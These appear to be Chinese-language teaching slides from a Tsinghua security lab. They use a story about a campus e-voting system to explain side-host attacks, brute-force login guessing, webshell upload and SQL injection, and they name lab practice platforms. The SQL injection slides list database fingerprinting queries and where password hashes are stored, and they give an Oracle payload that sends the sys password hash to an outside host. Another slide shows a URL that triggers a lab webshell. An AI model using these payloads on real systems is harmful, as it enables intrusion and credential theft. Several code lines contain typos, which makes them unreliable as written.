《黄蓉的安全诡计》大结局 攻击票务系统 之一 孙松柏 lukesun629@gmail.com network and information security lab , Tsinghua University
故事概要 T大校长王重阳任期已满 考虑下一任校长应该由全校师 生民主选出 在互联网繁荣的今天,王重阳 校长决定使用电子投票系统来 完成此次校长的换届选举 3/18/2017
任务规划 王重阳委托计算机系主任洪七公 开发和管理团队人员 项目监管和审计人员 预算经费: 10万元 计算机系牵头开发和维护投票系统 郭靖 黄蓉 梅超风 傻姑 华筝 拖雷 项目监管和审计人员 土木系主任:东邪 人文系主任 :南帝 化学系主任 :西毒 心理学主任:瑛姑 预算经费: 10万元 3/18/2017
电子投票系统存在的问题 经费之困 投票实名制 考虑到刷票行为,准备使用学号+照片的形式 安全问题 经费少,准备合用服务器 阻止化学系主任欧阳锋想夺权的图谋 3/18/2017
DB Group, DCS&T, Tsinghua University 学习web攻击平台推荐 WackoPicko by UCSB https://github.com/adamdoupe/WackoPicko/ http://www.gnacktrack.co.uk/ Google http://google-gruyere.appspot.com/ Owasp Broken Web Applications http://www.owaspbwa.org/ 3/18/2017 DB Group, DCS&T, Tsinghua University
问题一 旁注攻击 经过为期两个月的紧张开发,系统准备试运行 10万元经费只够开发一套票务系统和购买web应用防火墙,无力购买新的服务器。洪七公想把投票系统网站放到访问量不是很大的校团委网站服务器上。 黄蓉安全经验较多,明确提出不能将网站放到校团委服务器上,因为容易受到旁注攻击 3/18/2017 3/18/2017 6
问题一 旁注攻击 旁注攻击指的是攻击者想入侵A网站,但是由于A网站的防护很严格,无法渗透进入,但是,A网站的服务器也运行B网站且防护较弱,那么通过注入,跨站等方式拿到服务器的webshell权限后,便可实施对A网站的入侵。 另外一种情况是,探测到某个学校、公司不止一个网站且服务器相互独立。但是内部服务器在同一个局域网内,攻击者可以先控制其中一台服务器作为跳板,对目标服务器发起攻击。 3/18/2017 3/18/2017 7
DB Group, DCS&T, Tsinghua University 问题一 旁注攻击 洪七公经过慎重考虑,还是由计算机内部自行解决 剩余经费问题 购买服务器后,在计算机系内部对投票系统进入试运行 洪七公委托计算机系安全方向的博士生—黄蓉 硕士生—梅超风 查找安全问题,等待下一步在全校范围内进行测试 3/18/2017 DB Group, DCS&T, Tsinghua University
问题二 暴力猜解口令 黄蓉首先关心的是郭靖开发和维护的管理页面 管理页面因为权限很大,很容易收到欧阳锋主任的关注。 暴力口令猜解是由于网页没有对用户输入进行有效的控制,引起攻击者通过远程暴力破解就能猜解口令的一种技术。 3/18/2017
问题二 暴力猜解口令 Demo演示暴力猜解口令 黄蓉要求郭靖在输入口令的时候加入验证码 同时检查输入字符,严格控制输入。 3/18/2017
问题三 代码注入 实名制不仅要求人员有唯一的标志符—学号,还要求所有投票人员上传身份证照片。 梅超风无意中检查了到了注册用户和上传照片的部分。 由于代码对上传照片的格式没有做任何限制。 导致可以上传webshell控制服务器 3/18/2017
问题三 代码注入 Demo演示,梅超风上传php webshell 黄蓉发现投票系统中有一个查询当前得票数的页面。 梅超风建议严格控制上传文件格式 黄蓉发现投票系统中有一个查询当前得票数的页面。 Demo演示,黄蓉测试绕过代码执行 http://192.168.169.168/dvwa/hackable/uploads/new.php?shell=change 3/18/2017
问题四 SQL 注入 SQL注入指的是发生在web应用后台服务器上出现在安全漏洞。简单的说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令在数据库中执行,因此可以对后台数据库进行查询等工作,甚至破坏后台数据库造成严重后果。 目前注入大致分为普通注入和盲注。普通注入根据后台数据库提示有价值的错误信息,可以轻松的进行注入活动。盲注(blind injection)则是有经验的管理员在给出错误页面时,没有提供详细的错误信息。攻击者需要运用脚本通过仅有的判断信息对表中的每一个字段进行探测,从而实现输入的技术。就难易程度而言,盲注的难度较大 3/18/2017
MsSql: if(‘a’=‘a’) select 1 else select 2 1、识别数据库 MsSql:select @@version Mysql: select version() Oracle: select banner from v$version select banner from v$version where rownum=1 2、使用uinon语句提出数据 3、使用条件语句 MsSql: if(‘a’=‘a’) select 1 else select 2 MySql: selcet if (‘a’,1,2) 3/18/2017
问题四 SQL 注入 5、窃取hash,识别加密手段: 4、利用数据库错误。 MSSQL2000: hash存储在 master数据库的syslogins表中 MSSQL2005:需要通过查询sql—logins视图检索hash。(SHA1) MYSQL(4.1版本以后):HASH特点 以*号开头,且长度为41个字符。 *B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12(双SHA1) ORACLE11g开始以前采用des加密,以后采用SHA1,且保存在名为spare4 的列中。 3/18/2017
MSSQL 内置email发送功能.xp_sendmail扩展存储功能。 6、高级方法(out of band ) MSSQL 内置email发送功能.xp_sendmail扩展存储功能。 Oracle 不仅提供了email的发送功能 ,还提供了两种http请求 方法. UTL_HTTP和HTTPURI_TYPE 想要想远程系统发送sys用户的hash口令,可以注入下列字符 OR 1=utl_http.resuest(http://www.example.com/’||(select password from aba_users where rownum=1)) .getclob() -- 3/18/2017
问题四 SQL 注入 化学系研究生欧阳克潜入计算机系机房 企图渗透票务系统。 Demo sql 注入演示。 3/18/2017
TO BE CONTINUED 经过计算机系内部测试一段时间,洪七公准备在全校范围内进行测试,票务系统等于完全暴露在欧阳锋团队之下,欧阳锋是否有足够的手段成功攻击票务系统,请听下回分解。 3/18/2017
THANKS for LISTENING 3/18/2017